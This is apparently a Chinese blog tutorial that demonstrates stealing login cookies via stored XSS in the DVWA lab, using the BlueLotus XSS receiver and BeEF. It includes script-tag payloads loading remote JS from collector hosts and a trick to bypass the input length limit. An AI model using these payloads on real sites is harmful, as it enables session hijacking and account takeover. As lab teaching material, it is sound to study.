目录
上一篇给大家介绍了xss漏洞的基础知识,在本篇章将会介绍和演示一下利用xss漏洞打cookie的演示,还不了解xss漏洞是什么的小伙伴可以先看这篇文章:
初识XSS漏洞-CSDN博客
1、为什么要打cookie?
想要回答好这个问题必须要知道cookie是用来做什么的
Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。HTTP 协议不带有状态,有些请求需要区分状态,就通过 Cookie 附带字符串,让服务器返回不一样的回应。
举例来说,用户登录以后,服务器往往会在网站上留下一个 Cookie,记录用户编号(比如id=1234
),以后每次浏览器向服务器请求数据,就会带上这个字符串,服务器从而知道是谁在请求,应该回应什么内容。
总的来说cookie就是你登录网站的凭据,有了它网站就知道是哪个用户在登录网站
2、怎样利用XSS来打cookie?
简单来说就是在你访问的页面上执行了一次JS代码,这次代码执行之后可以获取你当前已经登录某个网站的cookie,并将该cookie发送到攻击者指定的网站,攻击者拿到了你的cookie,然后就可以利用当前的cookie来登录你的网站。
3、利用Bluelotus_xssReceiver平台来打cookie
xss平台:就是攻击者用来接收cookie的平台
xss的在线攻击平台有很多,我这里演示使用的是BlueLotus_XSSReceiver
也就是“蓝莲花”
(1)安装Bluelotus_xssReceiver
直接在github/gitee上下载源码包:BlueLotus_XSSReceiver: 蓝莲花XSS平台源码 (gitee.com)
下载完成后将源码包解压,然后放到phpstudy的www目录下。
注:这里需要php环境,因此建议安装phpstudy集成环境
(2)在浏览器中访问http://127.0.0.1/BlueLotus_XSSReceiver/
然后点击安装
然后修改配置,修改完成后点击提交
最后会显示安装成功
(3) 构造payload
首先我们点击我的js,然后再右边填写相关的名称,选择default模板,最后点击扯生成payload
生成的payload我们复制下来:
<script src="http://192.168.159.1/bluelotus/myjs/test.js"></script>
(4)测试
我们选择dvwa作为测试平台,在浏览器访问dvwa网站
将安全等级调整为low:
然后我们选择存储型xss(xss stored),将上面生成的payload填入到Message中
我们会发现这里我们的payload并不完整,这是因为它对长度进行了限制,我们使用开发者工具来修改长度限制:
修改完成后我们再来提交,点击提交后,我们在蓝莲花平台中就收到了一个邮件
点开邮件会发现这里成功的打到了cookie
4、利用beef-xss平台来打cookie
上面我们演示了在Windows中使用“蓝莲花”在线平台打cookie,下面我们在Linux中演示一下使用beef-xss平台来打cookie
(1)首先安装xss平台
apt -y install beef-xss
注:如果安装不成功,可以尝试更新一下源
(2)可以直接在shell中输入beef-xss运行该平台
(3)在浏览器中输入192.168.159.151:3000/ui/authentication可以访问该平台
(4)账号和密码在/etc/beef-xss/config.yaml中可以查看
(5)然后使用这个账号和密码进行登录
(6)然后可以查看一下这个获取cookie的hook.js文件
(7)还是同样的我们将这个文件作为js文件在DVWA的xss靶场中执行
<script src="//192.168.159.151:3000/hook.js">
(8)然后在beef平台就可以看到已经成功的获取到了我们的cookie
到此,使用xss平台打cookie的介绍和演示就完毕了 ,更多的xss漏洞后面的篇章会进行演示